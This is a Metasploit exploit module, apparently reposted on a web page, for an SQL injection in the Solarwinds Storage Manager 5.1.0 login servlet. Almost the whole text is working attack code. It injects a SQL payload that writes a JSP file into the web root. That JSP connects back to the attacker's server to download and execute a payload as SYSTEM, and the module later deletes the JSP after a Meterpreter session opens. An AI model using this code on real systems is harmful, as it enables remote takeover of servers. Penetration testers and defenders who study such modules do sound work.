Solarwinds Storage Manager 5.1.0 SQL Injection

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. #   http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking     include Msf::Exploit::Remote::HttpClient     include Msf::Exploit::Remote::TcpServer     include Msf::Exploit::EXE     def initialize(info={})         super(update_info(info,             'Name'           => "Solarwinds Storage Manager 5.1.0 SQL Injection",             'Description'    => %q{                     This module exploits a SQL injection found in Solarwinds Storage Manager                 login interface.  It will send a malicious SQL query to create a JSP file                 under the web root directory, and then let it download and execute our malicious                 executable under the context of SYSTEM.             },             'License'        => MSF_LICENSE,             'Author'         =>                 [                     'r@b13$', # Original discovery by Digital Defense VRT                     'muts',   # PoC                     'sinn3r'  # Metasploit                 ],             'References'     =>                 [                     ['EDB', '18818'],                     ['URL', 'http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html'],                     ['URL', 'http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm']                 ],             'Payload'        =>                 {                     'BadChars' => "\x00",                 },             'DefaultOptions'  =>                 {                     'ExitFunction' => "none"                 },             'Platform'       => 'win',             'Targets'        =>                 [                     # Win XP / 2003 / Vista / Win 7 / etc                     ['Windows Universal', {}]                 ],             'Privileged'     => false,             'DisclosureDate' => "Dec 7 2011",             'DefaultTarget'  => 0))         register_options(             [                 OptPort.new('RPORT', [true, 'The target port', 9000])             ], self.class)     end     #     # A very gentle check to see if Solarwinds Storage Manage exists or not     #     def check         res = send_request_raw({             'method' => 'GET',             'uri'    => '/LoginServlet'         })         if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and                    res.body =~ /\<img style="padding\-top:30px;" src="\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/             return Exploit::CheckCode::Detected         else             return Exploit::CheckCode::Safe         end     end     #     # Remove the JSP once we get a shell.     # We cannot delete the executable because it will still be in use.     #     def on_new_session(cli)         if cli.type != 'meterpreter'             print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")             return         end         cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")         begin             jsp = @outpath.gsub(/\//, "\\\\")             jsp = jsp.gsub(/"/, "")             vprint_status("#{rhost}:#{rport} - Deleting: #{jsp}")             cli.fs.file.rm(jsp)             print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")         rescue ::Exception => e             print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")         end     end     #     # Transfer the malicious executable to our victim     #     def on_client_connect(cli)         print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")         cli.put(@native_payload)         service.close_client(cli)     end     #     # Generate a download+exe JSP payload     #     def generate_jsp_payload         my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']         my_port = datastore['SRVPORT']         # tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\         # This will download our malicious executable in base64 format, decode it back,         # save it as a temp file, and then finally execute it.         jsp = %Q|         <%@page import="java.io.*"%>         <%@page import="java.net.*"%>         <%@page import="sun.misc.BASE64Decoder"%>         <%         StringBuffer buf = new StringBuffer();         byte[] shellcode = null;         BufferedOutputStream outstream = null;         try {             Socket s = new Socket("#{my_host}", #{my_port});             BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));             while (buf.length() < #{@native_payload.length}) {                 buf.append( (char) r.read());             }             BASE64Decoder decoder = new BASE64Decoder();             shellcode = decoder.decodeBuffer(buf.toString());             File temp = File.createTempFile("#{@native_payload_name}", ".exe");             String path = temp.getAbsolutePath();             outstream = new BufferedOutputStream(new FileOutputStream(path));             outstream.write(shellcode);             outstream.close();             Process p = Runtime.getRuntime().exec(path);         } catch (Exception e) {}         %>         |         jsp = jsp.gsub(/\n/, '')         jsp = jsp.gsub(/\t/, '')         jsp.unpack("H*")[0]     end     #     # Run the actual exploit     #     def inject_exec         # This little lag is meant to ensure the TCP server runs first before the requests         select(nil, nil, nil, 1)         # Inject our JSP payload         print_status("#{rhost}:#{rport} - Sending JSP payload")         pass = rand_text_alpha(rand(10)+5)         hex_jsp  = generate_jsp_payload         res = send_request_cgi({             'method'    => 'POST',             'uri'       => '/LoginServlet',             'headers'   => {                 'Accept-Encoding' => 'identity'             },             'vars_post'  => {                 'loginState' => 'checkLogin',                 'password'   => pass,                 'loginName'  => "AAA' union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile #{@outpath}#"             }         })         # Pick up the cookie, example:         # JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB         if res and res.headers['Set-Cookie'] =~ /JSESSIONID=(\w+);/             cookie = "JSESSIONID=#{$1}"         else             print_error("Unable to get a session ID")             return         end         # Trigger the JSP         print_status("#{rhost}:#{rport} - Trigger JSP payload")         send_request_cgi({             'method'    => 'POST',             'uri'       => '/LoginServlet',             'headers'   => {                 'Cookie' => cookie,                 'Accept-Encoding' => 'identity'             },             'vars_post' => {                 'loginState' => 'checkLogin',                 'password'   => pass,                 'loginName'  => "1' or 1=1#--"             }         })         res = send_request_raw({             'method'  => 'POST',             'uri'     => "/#{@jsp_name + '.jsp'}",             'headers' => {                 'Cookie' => cookie             }         })         handler     end     #     # The server must start first, and then we send the malicious requests     #     def exploit         # Avoid passing this as an argument for performance reasons         # This is in base64 is make sure our file isn't mangled         @native_payload      = [generate_payload_exe].pack("m*")         @native_payload_name = rand_text_alpha(rand(6)+3)         @jsp_name            = rand_text_alpha(rand(6)+3)         @outpath             = "\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\""         begin             t = framework.threads.spawn("reqs", false) { inject_exec }             print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")             super         ensure             t.kill         end     end end

发表评论